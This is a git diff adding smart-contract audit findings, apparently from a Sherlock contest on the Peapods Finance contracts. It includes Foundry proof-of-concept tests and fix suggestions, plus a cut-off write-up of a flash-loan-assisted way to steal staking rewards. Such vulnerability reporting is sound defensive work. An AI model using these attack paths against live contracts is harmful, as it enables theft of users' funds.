+ LeverageManager internal _leverageManager;
+
+ // fraxlend
+ FraxlendPairDeployer internal _fraxDeployer;
+ FraxlendWhitelist internal _fraxWhitelist;
+ FraxlendPairRegistry internal _fraxRegistry;
+ VariableInterestRate internal _variableInterestRate;
+
+ FraxlendPair internal _fraxLPToken3;
+ FraxlendPair internal _fraxLPToken4;
+
+ FraxlendPair[] internal _fraxPairs;
+
+ // flash
+ UniswapV3FlashSource internal _uniswapV3FlashSourcePeas;
+ UniswapV3FlashSource internal _uniswapV3FlashSourceWeth;
+
+ // mocks
+ MockUniV3Minter internal _uniV3Minter;
+ MockERC20 internal _mockDai;
+ WETH9 internal _weth;
+ MockERC20 internal _tokenA;
+ MockERC20 internal _tokenB;
+ MockERC20 internal _tokenC;
+
+ // uniswap-v2-core
+ UniswapV2Factory internal _uniV2Factory;
+ UniswapV2Pair internal _uniV2Pool;
+
+ // uniswap-v2-periphery
+ UniswapV2Router02 internal _v2SwapRouter;
+
+ // uniswap-v3-core
+ UniswapV3Factory internal _uniV3Factory;
+ UniswapV3Pool internal _v3peasDaiPool;
+ UniswapV3Pool internal _v3peasDaiFlash;
+ UniswapV3Pool internal _v3wethDaiFlash;
+ UniswapV3Pool internal _v3wethDaiPool;
+ UniswapV3Pool internal _v3TokenATokenBPool;
+
+ // uniswap-v3-periphery
+ SwapRouter02 internal _v3SwapRouter;
+
+ function setUp() public override {
+ super.setUp();
+
+ _deployUniV3Minter();
+ _deployWETH();
+ _deployTokens();
+ _deployPEAS();
+ _deployUniV2();
+ _deployUniV3();
+ _deployProtocolFees();
+ _deployRewardsWhitelist();
+ _deployTwapUtils();
+ _deployDexAdapter();
+ _deployIndexUtils();
+ _deployAutoCompoundingPodLpFactory();
+ _deployAspTKNOracles();
+ _deployVariableInterestRate();
+ _deployFraxWhitelist();
+ _deployFraxPairRegistry();
+ _deployFraxPairDeployer();
+ _deployLendingAssetVault();
+ _deployLeverageManager();
+ _deployFlashSources();
+
+ _mockDai.mint(alice, 1_000_000 ether);
+ _mockDai.mint(bob, 1_000_000 ether);
+ _mockDai.mint(charlie, 1_000_000 ether);
+ _peas.transfer(alice, 100_000 ether);
+ _peas.transfer(bob, 100_000 ether);
+ _peas.transfer(charlie, 100_000 ether);
+ }
+
+ function _deployUniV3Minter() internal {
+ _uniV3Minter = new MockUniV3Minter();
+ }
+
+ function _deployWETH() internal {
+ _weth = new WETH9();
+
+ vm.deal(address(this), 1_000_000 ether);
+ _weth.deposit{value: 1_000_000 ether}();
+
+ vm.deal(address(_uniV3Minter), 2_000_000 ether);
+ vm.prank(address(_uniV3Minter));
+ _weth.deposit{value: 2_000_000 ether}();
+ }
+
+ function _deployTokens() internal {
+ _mockDai = new MockERC20();
+ _tokenA = new MockERC20();
+ _tokenB = new MockERC20();
+ _tokenC = new MockERC20();
+
+ _mockDai.initialize("MockDAI", "mDAI", 18);
+ _tokenA.initialize("TokenA", "TA", 18);
+ _tokenB.initialize("TokenB", "TB", 18);
+ _tokenC.initialize("TokenC", "TC", 18);
+
+ _tokenA.mint(address(this), 1_000_000 ether);
+ _tokenB.mint(address(this), 1_000_000 ether);
+ _tokenC.mint(address(this), 1_000_000 ether);
+ _mockDai.mint(address(this), 1_000_000 ether);
+
+ _tokenA.mint(address(_uniV3Minter), 1_000_000 ether);
+ _tokenB.mint(address(_uniV3Minter), 1_000_000 ether);
+ _tokenC.mint(address(_uniV3Minter), 1_000_000 ether);
+ _mockDai.mint(address(_uniV3Minter), 1_000_000 ether);
+
+ _tokenA.mint(alice, 1_000_000 ether);
+ _tokenB.mint(alice, 1_000_000 ether);
+ _tokenC.mint(alice, 1_000_000 ether);
+ _mockDai.mint(alice, 1_000_000 ether);
+
+ _tokenA.mint(bob, 1_000_000 ether);
+ _tokenB.mint(bob, 1_000_000 ether);
+ _tokenC.mint(bob, 1_000_000 ether);
+ _mockDai.mint(bob, 1_000_000 ether);
+
+ _tokenA.mint(charlie, 1_000_000 ether);
+ _tokenB.mint(charlie, 1_000_000 ether);
+ _tokenC.mint(charlie, 1_000_000 ether);
+ _mockDai.mint(charlie, 1_000_000 ether);
+ }
+
+ function _deployPEAS() internal {
+ _peas = new PEAS("Peapods", "PEAS");
+ _peas.transfer(address(_uniV3Minter), 2_000_000 ether);
+ }
+
+ function _deployUniV2() internal {
+ _uniV2Factory = new UniswapV2Factory(address(this));
+ _v2SwapRouter = new UniswapV2Router02(address(_uniV2Factory), address(_weth));
+ }
+
+ function _deployUniV3() internal {
+ _uniV3Factory = new UniswapV3Factory();
+ _v3peasDaiPool = UniswapV3Pool(_uniV3Factory.createPool(address(_peas), address(_mockDai), 10_000));
+ _v3peasDaiPool.initialize(1 << 96);
+ _v3peasDaiPool.increaseObservationCardinalityNext(600);
+ _uniV3Minter.V3addLiquidity(_v3peasDaiPool, 100_000 ether);
+
+ _v3peasDaiFlash = UniswapV3Pool(_uniV3Factory.createPool(address(_peas), address(_mockDai), 500));
+ _v3peasDaiFlash.initialize(1 << 96);
+ _v3peasDaiFlash.increaseObservationCardinalityNext(600);
+ _uniV3Minter.V3addLiquidity(_v3peasDaiFlash, 100_000e18);
+
+ _v3SwapRouter = new SwapRouter02(address(_uniV2Factory), address(_uniV3Factory), address(0), address(_weth));
+ }
+
+ function _deployProtocolFees() internal {
+ _protocolFees = new ProtocolFees();
+ _protocolFees.setYieldAdmin(500);
+ _protocolFees.setYieldBurn(500);
+
+ _protocolFeeRouter = new ProtocolFeeRouter(_protocolFees);
+ bytes memory code = address(_protocolFeeRouter).code;
+ vm.etch(0x7d544DD34ABbE24C8832db27820Ff53C151e949b, code);
+ _protocolFeeRouter = ProtocolFeeRouter(0x7d544DD34ABbE24C8832db27820Ff53C151e949b);
+
+ vm.prank(_protocolFeeRouter.owner());
+ _protocolFeeRouter.transferOwnership(address(this));
+ _protocolFeeRouter.setProtocolFees(_protocolFees);
+ }
+
+ function _deployRewardsWhitelist() internal {
+ _rewardsWhitelist = new RewardsWhitelist();
+ bytes memory code = address(_rewardsWhitelist).code;
+ vm.etch(0xEc0Eb48d2D638f241c1a7F109e38ef2901E9450F, code);
+ _rewardsWhitelist = RewardsWhitelist(0xEc0Eb48d2D638f241c1a7F109e38ef2901E9450F);
+
+ vm.prank(_rewardsWhitelist.owner());
+ _rewardsWhitelist.transferOwnership(address(this));
+ _rewardsWhitelist.toggleRewardsToken(address(_peas), true);
+ }
+
+ function _deployTwapUtils() internal {
+ _twapUtils = new MockV3TwapUtilities();
+ bytes memory code = address(_twapUtils).code;
+ vm.etch(0x024ff47D552cB222b265D68C7aeB26E586D5229D, code);
+ _twapUtils = MockV3TwapUtilities(0x024ff47D552cB222b265D68C7aeB26E586D5229D);
+ }
+
+ function _deployDexAdapter() internal {
+ _dexAdapter = new UniswapDexAdapter(_twapUtils, address(_v2SwapRouter), address(_v3SwapRouter), false);
+ }
+
+ function _deployIndexUtils() internal {
+ _indexUtils = new IndexUtils(_twapUtils, _dexAdapter);
+ }
+
+ function _deployAutoCompoundingPodLpFactory() internal {
+ _aspTKNFactory = new AutoCompoundingPodLpFactory();
+ }
+
+ function _deployAspTKNOracles() internal {
+ _v2Res = new V2ReservesUniswap();
+ _clOracle = new ChainlinkSinglePriceOracle(address(0));
+ _uniOracle = new UniswapV3SinglePriceOracle(address(0));
+ _diaOracle = new DIAOracleV2SinglePriceOracle(address(0));
+ }
+
+ function _deployVariableInterestRate() internal {
+ _variableInterestRate = new VariableInterestRate(
+ "[0.5 0.2@.875 5-10k] 2 days (.75-.85)",
+ 87500,
+ 200000000000000000,
+ 75000,
+ 85000,
+ 158247046,
+ 1582470460,
+ 3164940920000,
+ 172800
+ );
+ }
+
+ function _deployFraxWhitelist() internal {
+ _fraxWhitelist = new FraxlendWhitelist();
+ }
+
+ function _deployFraxPairRegistry() internal {
+ address[] memory _initialDeployers = new address[](0);
+ _fraxRegistry = new FraxlendPairRegistry(address(this), _initialDeployers);
+ }
+
+ function _deployFraxPairDeployer() internal {
+ ConstructorParams memory _params =
+ ConstructorParams(circuitBreaker, comptroller, timelock, address(_fraxWhitelist), address(_fraxRegistry));
+ _fraxDeployer = new FraxlendPairDeployer(_params);
+
+ _fraxDeployer.setCreationCode(type(FraxlendPair).creationCode);
+
+ address[] memory _whitelistDeployer = new address[](1);
+ _whitelistDeployer[0] = address(this);
+
+ _fraxWhitelist.setFraxlendDeployerWhitelist(_whitelistDeployer, true);
+
+ address[] memory _registryDeployer = new address[](1);
+ _registryDeployer[0] = address(_fraxDeployer);
+
+ _fraxRegistry.setDeployers(_registryDeployer, true);
+ }
+
+ function _deployLendingAssetVault() internal {
+ _lendingAssetVault = new LendingAssetVault("Test LAV", "tLAV", address(_mockDai));
+ }
+
+ function _deployLeverageManager() internal {
+ _leverageManager = new LeverageManager("Test LM", "tLM", IIndexUtils(address(_indexUtils)));
+ }
+
+ function _deployFlashSources() internal {
+ _uniswapV3FlashSourcePeas = new UniswapV3FlashSource(address(_v3peasDaiFlash), address(_leverageManager));
+ _leverageManager.setFlashSource(address(_mockDai), address(_uniswapV3FlashSourcePeas));
+ }
+
+ function _setupSelfLending() public {
+ _aspTKN3Address = _aspTKNFactory.getNewCaFromParams(
+ "Test aspTKN3", "aspTKN3", true, IDecentralizedIndex(address(0)), _dexAdapter, _indexUtils, 0
+ );
+
+ _mockOracle = new MockOracle();
+ _mockOracle.setPriceLow(0.5e18);
+ _mockOracle.setPriceHigh(0.5e18);
+
+ _fraxLPToken3 = FraxlendPair(
+ _fraxDeployer.deploy(
+ abi.encode(
+ address(_mockDai), // asset
+ _aspTKN3Address, // collateral
+ address(_mockOracle), //oracle
+ 5000, // maxOracleDeviation
+ address(_variableInterestRate), //rateContract
+ 1000, //fullUtilizationRate
+ 75000, // maxLtv
+ 10000, // uint256 _cleanLiquidationFee
+ 9000, // uint256 _dirtyLiquidationFee
+ 2000 //uint256 _protocolLiquidationFee
+ )
+ )
+ );
+
+
+ IDecentralizedIndex.Config memory _c;
+ IDecentralizedIndex.Fees memory _f;
+ _f.bond = 300;
+ _f.debond = 300;
+ _f.burn = 500;
+ _f.buy = 200;
+
+ address[] memory _t1 = new address[](1);
+ _t1[0] = address(_fraxLPToken3);
+ uint256[] memory _w1 = new uint256[](1);
+ _w1[0] = 100;
+ address __pod4 = _createPod(
+ "fDai Pod",
+ "pfDai",
+ _c,
+ _f,
+ _t1,
+ _w1,
+ address(0),
+ false,
+ abi.encode(
+ address(_mockDai),
+ address(_peas),
+ address(_mockDai),
+ address(_protocolFeeRouter),
+ address(_rewardsWhitelist),
+ address(_twapUtils),
+ address(_dexAdapter)
+ )
+ );
+ _pod4 = WeightedIndex(payable(__pod4));
+
+ _t1[0] = address(_tokenA);
+ _w1[0] = 100;
+ address __pod3 = _createPod(
+ "TokenA Pod",
+ "pTokenA",
+ _c,
+ _f,
+ _t1,
+ _w1,
+ address(0),
+ false,
+ abi.encode(
+ address(_pod4),
+ address(_peas),
+ address(_mockDai),
+ address(_protocolFeeRouter),
+ address(_rewardsWhitelist),
+ address(_twapUtils),
+ address(_dexAdapter)
+ )
+ );
+ _pod3 = WeightedIndex(payable(__pod3));
+
+ _aspTKNFactory.setMinimumDepositAtCreation(0);
+
+ _aspTKNFactory.create("Test aspTKN3", "aspTKN3", true, IDecentralizedIndex(address(0)), _dexAdapter, _indexUtils, 0);
+ _aspTKN3 = AutoCompoundingPodLp(_aspTKN3Address);
+ _aspTKN3.setPod(_pod3);
+
+ _leverageManager.setLendingPair(address(_pod3), address(_fraxLPToken3));
+
+ _lendingAssetVault.setVaultWhitelist(address(_fraxLPToken3), true);
+
+ address[] memory _vaults = new address[](1);
+ _vaults[0] = address(_fraxLPToken3);
+ uint256[] memory _allocations = new uint256[](1);
+ _allocations[0] = 100_000e18;
+ _lendingAssetVault.setVaultMaxAllocation(_vaults, _allocations);
+
+ vm.prank(timelock);
+ _fraxLPToken3.setExternalAssetVault(IERC4626Extended(address(_lendingAssetVault)));
+ }
+
+ function testPoc() public {
+ _setupSelfLending();
+
+ vm.startPrank(alice);
+ console.log("\n====== Alice bonds 10_000 TokenA ======");
+ _tokenA.approve(address(_pod3), 10_000e18);
+ _pod3.bond(address(_tokenA), 10_000e18, 0);
+
+ console.log("\n====== Alice addLeverage 10_000 pTKN ======");
+ _pod3.approve(address(_leverageManager), 10_000e18);
+ _leverageManager.addLeverage(
+ 0,
+ address(_pod3),
+ 10_000e18,
+ 10_000e18,
+ 0,
+ true,
+ abi.encode(0, 1000, block.timestamp)
+ );
+ vm.stopPrank();
+ }
+}
+```
+The POC can then be started with `forge test --mt testPoc -vv --fork-url `
+The POC should revert with the following error, indicating that there are not enough tokens available to borrow in the lending pair:
+```solidity
+[FAIL: InsufficientAssetsInContract(10000000000000000000000 [1e22], 10005000000000000000000 [1e22])]
+```
+
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/281.md b/281.md
new file mode 100644
index 0000000..48592c1
--- /dev/null
+++ b/281.md
@@ -0,0 +1,40 @@
+Energetic Maroon Meerkat
+
+Medium
+
+# Residual Token Inclusion in Paired LP Token Calculation Leads to Inaccurate Conversions
+
+### Summary
+`AutoCompoundingPodLP:_pairedLpTokenToPodLp` erroneously calculates the remaining paired LP tokens by using the total balance held by the contract instead of isolating the tokens received from the current swap. This flawed approach inadvertently includes residual tokens from previous operations, leading to inaccurate conversion amounts and potential liquidity addition errors
+
+
+### Vulnerability Details
+In the `_pairedLpTokenToPodLp` function, the calculation for the remaining paired LP tokens is performed as follows:
+
+```solidity
+pairedRemaining = IERC20(_pairedLpToken).balanceOf(address(this)) - _protocolFees;
+```
+
+This line retrieves the entire balance of `_pairedLpToken` held by the contract and subtracts the protocol fees.
+
+The use of `IERC20(_pairedLpToken).balanceOf(address(this))` fetches the contract's complete token balance, without distinguishing between tokens received from the current swap and any tokens carried over from previous transactions.
+
+If the contract holds residual `_pairedLpToken` from earlier swaps or operations, these tokens will be included in the balance. For instance, if a prior swap left behind an excess amount and a new swap is performed, the new calculation will sum both amounts, thereby inflating `_pairedRemaining`.
+
+The subtraction of `_protocolFees` only adjusts for fee-related deductions and does not isolate the delta specific to the current conversion, leading to further inaccuracies.
+
+### Impact
+This could cause unintended behavior in LP staking
+
+### Tool Used
+Manual review
+
+### Recommendation
+Before executing the swap, record the contract's balance of` _pairedLpToken`. After the swap, compute the delta to determine the exact amount received
+
+### Code Snippets
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L311C5-L345C1
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L314C9-L314C63
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L328
diff --git a/282.md b/282.md
new file mode 100644
index 0000000..2c37d6a
--- /dev/null
+++ b/282.md
@@ -0,0 +1,50 @@
+Energetic Maroon Meerkat
+
+Medium
+
+# Double Protocol Fee Deduction for PAIRED_LP_TOKEN Rewards
+
+### Summary
+When processing rewards of`PAIRED_LP_TOKEN` with the `AutoCompoundingPodLP:_processRewardsToPodLp`, the protocol fee is applied twice: once in the balance calculation and again during conversion. This results in an incorrect higher fee deduction.
+
+### Vulnerability Details
+
+Let's walk through the flow for the `PAIRED_LP_TOKEN` rewards:
+
+When looping over reward tokens, if the token equals the `PAIRED_LP_TOKEN`, the contract calculates:
+
+
+```solidity
+uint256 _bal = IERC20(_token).balanceOf(address(this)) - (_token == pod.PAIRED_LP_TOKEN() ? _protocolFees : 0)
+```
+
+This subtracts the already accrued `_protocolFees` from the balance.
+
+Next, `_tokenToPodLp` is called with `_amountIn` set to` _bal`. For the `PAIRED_LP_TOKEN`,` _tokenToPairedLpToken` simply returns the input amount
+
+Then,` _tokenToPodLp` calculates:
+
+```solidity
+uint256 _pairedFee = (_pairedOut * protocolFee) / 1000;
+_protocolFees += _pairedFee;
+_pairedOut -= _pairedFee;
+```
+
+Here the protocol fee is deducted again from the amount that already had the fee subtracted in the balance calculation.
+
+### Impact
+Because the fee is first deducted in the balance retrieval (by subtracting `_protocolFees`) and then again applied during conversion, the `PAIRED_LP_TOKEN` rewards suffer a double fee deduction
+
+### Tool Used
+Manual review
+
+### Recommendation
+Exempt `PAIRED_LP_TOKEN` from the protocol fee during conversion if already accounted for in the initial balance adjustment
+
+
+### Code Snippets
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L221C13-L222C112
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L237C8-L243C14
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L252C9-L253C30
\ No newline at end of file
diff --git a/283.md b/283.md
new file mode 100644
index 0000000..71784b1
--- /dev/null
+++ b/283.md
@@ -0,0 +1,32 @@
+Energetic Maroon Meerkat
+
+Medium
+
+# Incorrect Swap Calculation Due to Using V2 Reserve Logic for V3 Pools
+
+### Summary
+The `_getSwapAmt` function employs Uniswap V2 pool reserve logic (using `getReserves`) to compute the optimal one-sided swap amount. However, if the actual pool is a Uniswap V3 pool with concentrated liquidity, the function will receive and process data that does not represent the true liquidity distribution, leading to incorrect swap amount calculations.
+
+### Vulnerability
+The function calls:
+
+```solidity
+(uint112 _r0, uint112 _r1) = DEX_ADAPTER.getReserves(DEX_ADAPTER.getV2Pool(_t0, _t1));
+```
+
+This assumes a Uniswap V2-style pool interface, which provides straightforward reserve values used in the constant product formula (`x * y = k`).
+
+
+Uniswap V3 pools do not maintain reserves in the same way as V2 pools. They employ concentrated liquidity, meaning liquidity is not uniformly distributed across all prices. The V3 pool's key parameters are accessed via `slot0()` and liquidity-specific data, which are not captured by `getReserves()`. Therefore, using V2 reserve logic in this context will produce inaccurate swap amounts.
+
+### Impact
+
+- The computed swap amount may not be optimal for the actual liquidity conditions, potentially leading to higher slippage.
+- If the calculated amounts do not meet required thresholds or slippage limits, transactions might revert.
+- Inefficient swaps can lead to poor pricing and reduce yield, affecting users negatively.
+
+### Tools used
+manual review
+
+### Code Snippet
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L392
diff --git a/284.md b/284.md
new file mode 100644
index 0000000..5215ee4
--- /dev/null
+++ b/284.md
@@ -0,0 +1,115 @@
+Perfect Porcelain Snail
+
+High
+
+# `createSelfLendingPodAndAddLvf()` fails due to premature oracle call
+
+### Summary
+
+A logic error in `createSelfLendingPodAndAddLvf()` causes a `getPrices()` revert for self-lending pods. The function attempts to initialize a Fraxlend pair that will call the oracle before the `aspTKN` contract is deployed. This leads to a failed call to `IERC4626(ASP_TKN).convertToShares(_assetFactor)` within the oracle's `getPrices()` function, halting the creation of self-lending pods and preventing LVF operations for this pod type.
+
+
+### Root Cause
+
+he `createSelfLendingPodAndAddLvf()` function ([LeverageFactory.sol#L90](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/lvf/LeverageFactory.sol#L90)) creates components in the following order: computes aspTKN address, creates `aspTknOracle`, creates Fraxlend pair (`_fraxlendPair`), creates lending pod (`_newPod`), creates `aspTKN` contract.
+
+The issue arises because the Fraxlend pair's constructor ([FraxlendPairCore.sol#L229](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L229)) calls `_updateExchangeRate()`, which in turn calls the oracle's `getPrices()` function ([spTKNMinimalOracle.sol#L155](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/spTKNMinimalOracle.sol#L155)). The `aspTKNMinimalOracle`'s `getPrices()` function ([aspTKNMinimalOracle.sol#L24](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/aspTKNMinimalOracle.sol#L24)) attempts to interact with the `ASP_TKN` contract via `IERC4626(ASP_TKN).convertToShares(_assetFactor)`. However, at this point, only the address of the not-yet-deployed `ASP_TKN` is known, causing the call to revert.
+
+The test case `test_createSelfLendingPodAndAddLvf()` in ([LeverageFactory.t.sol#L118](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/test/lvf/LeverageFactory.t.sol#L118)) masks this issue by using a mock Fraxlend pair deployer that doesn't call `_updateExchangeRate()` in its constructor, thus bypassing the problematic interaction with the undeployed `ASP_TKN`.
+
+### Internal Pre-conditions
+
+N/A
+
+### External Pre-conditions
+
+N/A
+
+### Attack Path
+
+1. A user calls `createSelfLendingPodAndAddLvf()` intending to create a self-lending pod.
+2. The function creates the `aspTknOracle` and passes the computed address of the yet-to-be-deployed `aspTKN` contract.
+3. The Fraxlend pair is created. Its constructor calls `_updateExchangeRate()`, which triggers the `aspTknOracle`'s `getPrices()` function.
+4. Inside `getPrices()`, the call to `IERC4626(ASP_TKN).convertToShares(_assetFactor)` reverts because `ASP_TKN` points to an address where no contract is deployed yet.
+5. The transaction reverts, preventing the creation of the self-lending pod.
+
+
+### Impact
+
+Users are unable to create self-lending pods, effectively blocking LVF functionality for this pod type. This represents a critical failure in the protocol's intended functionality, impacting upgradeability and the usability of the new LVF mechanism.
+
+### PoC
+
+The following PoC (derived from [test_createSelfLendingPodAndAddLvf()](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/test/oracle/spTKNMinimalOracle.t.sol#L71C14-L71C45) and [LivePOC.t.sol](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/test/helpers/LivePOC.t.sol)) demonstrates the issue:
+
+```sh
+ forge test -vvvvv --match-path test/lvf/poc_revert_get_price.t.sol --fork-url https://rpc.mevblocker.io
+```
+
+[FraxlendPairDeployer.sol.txt](https://github.com/user-attachments/files/18812188/FraxlendPairDeployer.sol.txt)
+
+[poc_revert_get_price.t.sol.txt](https://github.com/user-attachments/files/18812187/poc_revert_get_price.t.sol.txt)
+
+**Context**:
+- Use the setup of LivePOC
+- FraxlendPairDeployer "@fraxlend/FraxlendPairDeployer.sol" with the remappings it's this [file](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/test/invariant/modules/fraxlend/FraxlendPairDeployer.sol) the problem is that it's the original from [Fraxlend](https://github.com/FraxFinance/fraxlend/blob/main/src/contracts/FraxlendPairDeployer.sol) and not the updated version from [peapods](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairDeployer.sol). I have modified one line as the `Ownable` constructor missing address parameter.
+
+
+```Solidity
+function test_revertGetPrices() public {
+
+ uint16 fee = 100;
+ IDecentralizedIndex.Config memory _c;
+ IDecentralizedIndex.Fees memory _f;
+ _f.bond = fee;
+ _f.debond = fee;
+ address[] memory _t = new address[](1);
+ _t[0] = address(DAI);
+ uint256[] memory _w = new uint256[](1);
+ _w[0] = 100;
+
+ vm.expectRevert();
+ //[605] aspTKNMinimalOracle::getPrices() [staticcall]
+ // ├─ [0] 0xE58604C120Af0859C17bB8d109d6263605e740C2::convertToShares(1000000000000000000 [1e18]) [staticcall]
+ // └─ ← [Stop]
+ // └─ ← [Revert] EvmError: Revert
+ // └─ ← [Revert] 0 bytes of code
+ (address _selfLendingPod, address _aspTkn, address _aspTknOracle, address _fraxlendPair) = leverageFactory.createSelfLendingPodAndAddLvf(
+ dai,
+ address(dexAdapter),
+ address(idxUtils),
+ abi.encode(
+ "Test",
+ "pTEST",
+ abi.encode(_c, _f, _t, _w, address(0), false),
+ abi.encode(
+ dai,
+ address(peas),
+ dai,
+ 0x7d544DD34ABbE24C8832db27820Ff53C151e949b,
+ whitelister,
+ 0x024ff47D552cB222b265D68C7aeB26E586D5229D,
+ dexAdapter
+ )
+ ),
+ abi.encode(
+ address(_clOracle), address(_uniOracle), address(_diaOracle), dai, false, false, address(0), peasClPool
+ ),
+ abi.encode(address(0), address(0), address(0), address(0), address(0), address(_v2Res)),
+ abi.encode(
+ 5000, // maxOracleDeviation
+ address(_variableInterestRate), //rateContract
+ 1000, //fullUtilizationRate
+ 75000, // maxLtv (75%)
+ 10000, // uint256 _cleanLiquidationFee
+ 2000 //uint256 _protocolLiquidationFee
+ )
+ );
+ }
+```
+
+### Mitigation
+
+If you decide to update the exchange rate with [`updateExchangeRate()`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L510C14-L510C32) at the end of `createSelfLendingPodAndAddLvf()`.
+
+It will still revert during the execution as it will divided by zero at [#L55](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/spTKNMinimalOracle.sol#L155) because there is no liquidity on the new pod created.
\ No newline at end of file
diff --git a/285.md b/285.md
new file mode 100644
index 0000000..c66380e
--- /dev/null
+++ b/285.md
@@ -0,0 +1,114 @@
+Rare Flaxen Nightingale
+
+Medium
+
+# If a reward is paused in the whitelist, all users who interact with the staking pool will forever lose claim to that paused reward and the reward is locked in the contract even when unpaused
+
+### Summary
+
+The setShares function in the tracking token contract is designed to distribute rewards, update shares, and reset exclusions for users. However, when a reward token is paused, the contract fails to distribute rewards but still updates the user's exclusion state. This results in the following issues:
+
+Paused Rewards Locked Forever: If a reward token is paused, users cannot claim their accrued rewards, and their exclusion state is updated, preventing them from ever claiming these rewards, even after the token is unpaused.
+
+Unclaimable New Rewards: Paused tokens can still be deposited as rewards, further exacerbating the issue by adding more unclaimable rewards to the contract.
+
+Forced Interaction Exploit: A malicious user can transfer a negligible amount (e.g., 1 wei) of the tracking token to another user, triggering setShares and locking their paused rewards permanently.
+
+### Root Cause
+
+The root cause is the incorrect handling of paused reward tokens in the _distributeReward and _resetExcluded functions:
+
+_distributeReward: If a reward token is paused, the function skips distributing rewards but does not store the unclaimed amount for future distribution.
+
+_resetExcluded: The function updates the user's exclusion state for all reward tokens, including paused ones, even though no rewards were distributed.
+
+This combination ensures that paused rewards are permanently locked in the contract.
+
+### Internal Pre-conditions
+
+A reward token is paused by the protocol.
+
+A user has accrued rewards in the paused token.
+
+
+### External Pre-conditions
+
+A user interacts with the tracking token contract (e.g., by receiving a transfer of the tracking token).
+
+### Attack Path
+
+Deploy the tracking token contract and configure a reward token (e.g., USDC).
+
+Accrue 1,000 USDC in rewards for Bob.
+
+Pause USDC rewards.
+
+Alice sends 1 wei of the tracking token to Bob, triggering setShares.
+
+Observe that:
+
+Bob's 1,000 USDC rewards are not distributed.
+
+Bob's exclusion state is updated, preventing him from claiming the rewards in the future.
+
+### Impact
+
+Permanent Loss of Rewards: Users lose access to their accrued rewards in paused tokens, even after the tokens are unpaused.
+
+Locked Funds: Paused rewards cannot be reclaimed or redistributed, resulting in permanently locked funds in the contract.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+To resolve this issue, introduce a mechanism to track unclaimed rewards for paused tokens and allow users to claim them once the tokens are unpaused. Here is a proposed solution:
+
+Add a Nested Mapping: Track unclaimed rewards for paused tokens using a nested mapping:
+
+```solidity
+mapping(address => mapping(address => uint256)) public unclaimedDueToPause;
+```
+
+Update _distributeReward: Store unclaimed rewards for paused tokens:
+
+
+```solidity
+function _distributeReward(address _wallet) internal {
+ if (shares[_wallet] == 0) {
+ return;
+ }
+ for (uint256 _i; _i < _allRewardsTokens.length; _i++) {
+ address _token = _allRewardsTokens[_i];
+ uint256 _amount = getUnpaid(_token, _wallet);
+
+ if (REWARDS_WHITELISTER.paused(_token)) {
+ unclaimedDueToPause[_wallet][_token] += _amount;
+ continue;
+ }
+
+ rewards[_token][_wallet].realized += _amount;
+ rewards[_token][_wallet].excluded = _cumulativeRewards(_token, shares[_wallet], true);
+ if (_amount > 0) {
+ rewardsDistributed[_token] += _amount;
+ IERC20(_token).safeTransfer(_wallet, _amount);
+ emit DistributeReward(_wallet, _token, _amount);
+ }
+ }
+}
+```
+Add a Claim Function: Allow users to claim unclaimed rewards once the token is unpaused:
+
+```solidity
+function claimPausedTokens(address _token) external {
+ require(!REWARDS_WHITELISTER.paused(_token), "Token is still paused");
+ uint256 _amount = unclaimedDueToPause[msg.sender][_token];
+ require(_amount > 0, "No unclaimed rewards");
+
+ unclaimedDueToPause[msg.sender][_token] = 0;
+ IERC20(_token).safeTransfer(msg.sender, _amount);
+ emit ClaimPausedTokens(msg.sender, _token, _amount);
+}
+```
+}
\ No newline at end of file
diff --git a/286.md b/286.md
new file mode 100644
index 0000000..571a395
--- /dev/null
+++ b/286.md
@@ -0,0 +1,590 @@
+Witty Chartreuse Starling
+
+Medium
+
+# The attacker can steal rewards from spTKNs because they can influence the fee processing by making a direct token transfer to the pod when the fees are below the minimum
+
+### Summary
+
+Fees in a pod are only swapped to rewards once a minimum threshold is exceeded. This allows an attacker to stake in a transaction while no fees are processed as rewards because they are still below the minimum. Then, they can send a few pTKNs as fees to the pod to push the balance above the minimum and subsequently unstake to receive a portion of the rewards. Since all of this is possible in a single transaction, the attacker can also use a flash loan to steal more rewards. Important with a flash loan is that the attacker cannot use `flashMint`, because during this process, the staking of spTKNs is reverted. This means they have to take a flash loan of the underlying token of the pool and then bond it.
+
+### Root Cause
+
+In `_processPreSwapFeesAndSwap` in DecentralizedIndex, fees are swapped to rewards once the fees exceed a minimum threshold:
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/DecentralizedIndex.sol#L193-L211
+These rewards are then sent to TokenRewards and will be distributed to spTKN stakers. An attacker can exploit that `_bal` can be manipulated through a direct token transfer. An attacker could, if `_bal` is just below the minimum, stake, then push the fees to the minimum, and then unstake to make rewards in a single transaction.
+
+### Internal Pre-conditions
+
+1. The balance must be just below the minimum so that it is profitable for the attacker to supply the remaining pTKNs as fees
+
+### External Pre-conditions
+
